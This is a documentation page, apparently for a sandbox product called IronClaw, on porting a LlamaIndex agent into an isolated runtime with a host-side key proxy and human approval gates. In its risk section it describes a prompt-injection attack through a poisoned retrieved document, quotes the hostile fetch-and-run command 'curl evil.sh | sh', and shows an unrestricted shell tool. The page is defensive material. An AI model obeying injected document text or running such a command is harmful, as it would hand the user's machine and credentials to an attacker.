Skip to content

Sandbox your LlamaIndex agent with IronClaw

You built an agent with LlamaIndex: a model, an index or two, and a set of FunctionTools the model can call. That is a great way to design the behavior. The problem starts when it runs somewhere real: a LlamaIndex FunctionAgent runs your tools in your own process, with your API key in memory and unrestricted outbound network. One prompt-injected instruction hidden in a retrieved document and that same process can read your environment, exfiltrate over the network, or call a tool you never intended.

IronClaw runs the same job behind a sealed sandbox instead: no network card, the model key held host-side and never in the agent, and every privileged tool call routed through a human-approval gateway and an audit log. This page maps a LlamaIndex agent onto IronClaw one field at a time.

Runnable example

A one-command LlamaIndex-to-IronClaw example lives at examples/integrations/llamaindex: a LlamaIndex agent whose tool and code execution is backed by an IronClaw sandbox, with a blocked escape attempt printed at the end. It ships with the integration examples. The credential-free demo below runs the same sealed loop today.

The three-line fix

Stop running the agent's tools in your own process. Declare the same agent to IronClaw and it runs inside a sealed, network-free sandbox instead:

export OPENAI_API_KEY=sk-...   # host-side only; the sandbox never sees this key
./bin/controlplane --dev --api-addr 127.0.0.1:8787 &
ironctl agent create --name "Docs Researcher" --provider openai --model gpt-4o \
  --instructions "Answer questions from the docs and cite sources." \
  --tool web_search --tool http_fetch --tool read_file --yes

Same model, same tools, now behind a human-approval gateway and an audit log. The field-by-field mapping is below.

IronClaw does not run your Python in the sandbox, and that is the point

IronClaw's sandbox has no interpreter and no in-sandbox install: you cannot drop arbitrary code into it, and neither can a prompt injection. So you do not wrap the LlamaIndex process; you re-declare the same agent (model, tools) as an IronClaw agent group, and IronClaw runs it inside the sealed runtime. The behavior you designed, the security posture you did not have to build. See Skills and Security and isolation.

Why sandbox this

A typical LlamaIndex agent:

from llama_index.core.agent.workflow import FunctionAgent
from llama_index.core.tools import FunctionTool
from llama_index.llms.openai import OpenAI

def run_shell(command: str) -> str:      # executes on YOUR box
    import subprocess
    return subprocess.run(command, shell=True, capture_output=True, text=True).stdout

llm = OpenAI(model="gpt-4o", api_key="sk-...")   # key lives in this process
agent = FunctionAgent(tools=[FunctionTool.from_defaults(fn=run_shell)], llm=llm)
await agent.run("summarize today's incidents")

Three things are true of that snippet, and all three are risks:

  1. The key is in the process. Anything that can read memory or os.environ can read sk-....
  2. Tools run with your privileges. run_shell executes on your box with your filesystem and network. A poisoned document that says "run curl evil.sh | sh" is a tool call away.
  3. Egress is wide open. The process can reach any host on the internet.

IronClaw closes all three by construction, not by convention.

See it work first (no credentials)

Before porting anything, watch the sealed loop run with the offline mock provider. No model key, no tokens, just Docker:

git clone https://github.com/IronSecCo/ironclaw.git && cd ironclaw
docker compose -f docker-compose.demo.yml up --build -d      # start the demo control-plane

curl -s -X POST http://127.0.0.1:8787/v1/ui/chat/send \
  -H 'authorization: Bearer ironclaw-demo' -H 'content-type: application/json' \
  -d '{"agentGroupID":"mock-agent","text":"hello from llamaindex-land"}'

sleep 3
curl -s -H 'authorization: Bearer ironclaw-demo' \
  http://127.0.0.1:8787/v1/ui/chat/mock-agent/messages       # the reply

You get the reply echoed back, proof that a real per-session sandbox launched and the answer flowed home through encrypted queues. Tear down with docker compose -f docker-compose.demo.yml down. The one-command, self-checking version is examples/hello-ironclaw.

Port your LlamaIndex agent

Map each part of the LlamaIndex agent onto an IronClaw agent group:

LlamaIndex IronClaw Notes
OpenAI(model="gpt-4o") --provider openai --model gpt-4o Any provider: anthropic, openai, gemini, local, and more.
api_key="sk-..." in the LLM OPENAI_API_KEY set on the host The key is injected by the host model-proxy on the way out. It never enters the sandbox.
System prompt --identity / --soul / --instructions The agent's persona, voice, and operating rules.
FunctionTools (shell, retrievers, ...) --tool <name> (built-in) or an MCP server Built-ins: read_file, write_file, list_dir, web_search, http_fetch. Your own tools attach over MCP.
agent.run(...) a message to the agent group Same request/response, now through the sealed queue.

A LlamaIndex agent that searches the web and writes a report becomes:

export OPENAI_API_KEY=sk-...          # host-side only; the sandbox never sees it
export IRONCLAW_API_TOKEN=$(openssl rand -hex 32)
./bin/controlplane --dev --api-addr 127.0.0.1:8787 &

ironctl agent create \
  --name "Docs Researcher" \
  --provider openai --model gpt-4o \
  --instructions "You answer questions from the docs and cite your sources." \
  --tool web_search --tool http_fetch --tool write_file --yes

Your LlamaIndex tools that are not built in attach as an MCP server: IronClaw registers them through the same human-approval gateway, so a new tool is a reviewed change, not a silent capability.

What you gained

  • The key left the agent. It lives host-side and is injected per request; a compromised agent has nothing to steal.
  • network=none by default. The sandbox has no NIC. The only egress is the audited model-proxy socket, plus whatever hosts you explicitly allowlist.
  • Privileged actions are gated. Registering a tool, spawning another agent, or reaching a new host flows through a human-approval gateway and lands in the audit log.

Same agent you designed in LlamaIndex. A perimeter it never had.

Next